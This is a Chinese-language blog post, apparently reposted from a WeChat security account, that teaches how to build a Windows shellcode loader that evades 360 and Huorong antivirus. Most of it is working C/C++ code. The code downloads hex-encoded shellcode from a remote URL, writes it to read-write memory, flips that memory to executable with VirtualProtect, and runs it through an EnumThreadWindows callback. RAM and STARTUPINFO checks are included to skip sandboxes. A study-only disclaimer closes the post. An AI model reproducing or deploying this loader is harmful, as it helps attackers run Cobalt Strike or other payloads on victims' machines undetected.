免杀原理:远程加载shellcode到内存,避免出现cs的payload的特征,然后进行内存申请优化,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。可以规避一些检测。
反沙箱:通过判断机器的运行内存,一般正常Windows的内存不会低于4GB
以下是实现过程
-
生成一个shellcode,保存在网络上远程获取我们的shellcode
-
获取远程shellcode使用的函数
HINTERNET InternetOpenW(
[in] LPCWSTR lpszAgent,
[in] DWORD dwAccessType,
[in] LPCWSTR lpszProxy,
[in] LPCWSTR lpszProxyBypass,
[in] DWORD dwFlags
);
HINTERNET InternetOpenUrlW(
[in] HINTERNET hInternet,
[in] LPCWSTR lpszUrl,
[in] LPCWSTR lpszHeaders,
[in] DWORD dwHeadersLength,
[in] DWORD dwFlags,
[in] DWORD_PTR dwContext
);
BOOL InternetReadFile(
[in] HINTERNET hFile,
[out] LPVOID lpBuffer,
[in] DWORD dwNumberOfBytesToRead,
[out] LPDWORD lpdwNumberOfBytesRead
);
-
实现获取网页内容代码
LPSTR gettxt(LPSTR lpu, char* bf)
{
HINTERNET hsn;
LPSTR lpt = NULL;
hsn = InternetOpen(L"WinInet", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
__try
{
if (hsn != NULL)
{
HINTERNET hre;
hre = InternetOpenUrlA(hsn, lpu, NULL, 0, INTERNET_FLAG_RELOAD, 0);
__try
{
if (hre != NULL)
{
DWORD dby;
char szf[b_SIZE] = { 0 };
if (InternetReadFile(hre, szf, b_SIZE, &dby))
{
RtlMoveMemory(bf, szf, b_SIZE);
return 0;
}
}
}
__finally
{
InternetCloseHandle(hre);
}
}
}
__finally
{
InternetCloseHandle(hsn);
}
return lpt;
}
-
简单的沙箱检测,反调试
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
if (RAMMB < 4096) {
printf("不正常");
return 0;
}
else
{
STARTUPINFO temp;
temp.cb = sizeof(temp);
GetStartupInfo(&temp);
if (temp.dwFlags != 1)
{
ExitProcess(0);
}
printf("可能正常");
}
-
加载器
加载shellcode使用到的函数
BOOL EnumThreadWindows(
[in] DWORD dwThreadId,
[in] WNDENUMPROC lpfn,
[in] LPARAM lParam
);
int shell() {
DWORD dwct; // 内存页属性
char b[b_SIZE] = { 0 };
char u[MAX_PATH] = "http://ip/你的shellcoed.txt";
gettxt(u, b);
string tpf = b;
unsigned char* selc = (unsigned char*)calloc(strlen(b) / 2, sizeof(unsigned char));
for (int i = 0; i < tpf.size() / 4; ++i) {
selc[i] = std::strtoul(tpf.substr(i * 4 + 2, 2).c_str(), nullptr, 16);
}
LPVOID run = VirtualAlloc(NULL, strlen(b) / 2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (run == NULL) { return 0; }
//创建可读可写内存
memcpy(run, selc, strlen(b) / 2);
//内存添加可执行权限
VirtualProtect(run, strlen(b) / 2, PAGE_EXECUTE, &dwct);
//执行
EnumThreadWindows(0, (WNDENUMPROC)run, NULL);
}
-
效果
*本文仅供参考学习,严禁用于其他用途,若造成不良影响的,由使用者本人承担一切后果。
原文始发于微信公众号(刑天攻防实验室):免杀绕过360及火绒
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论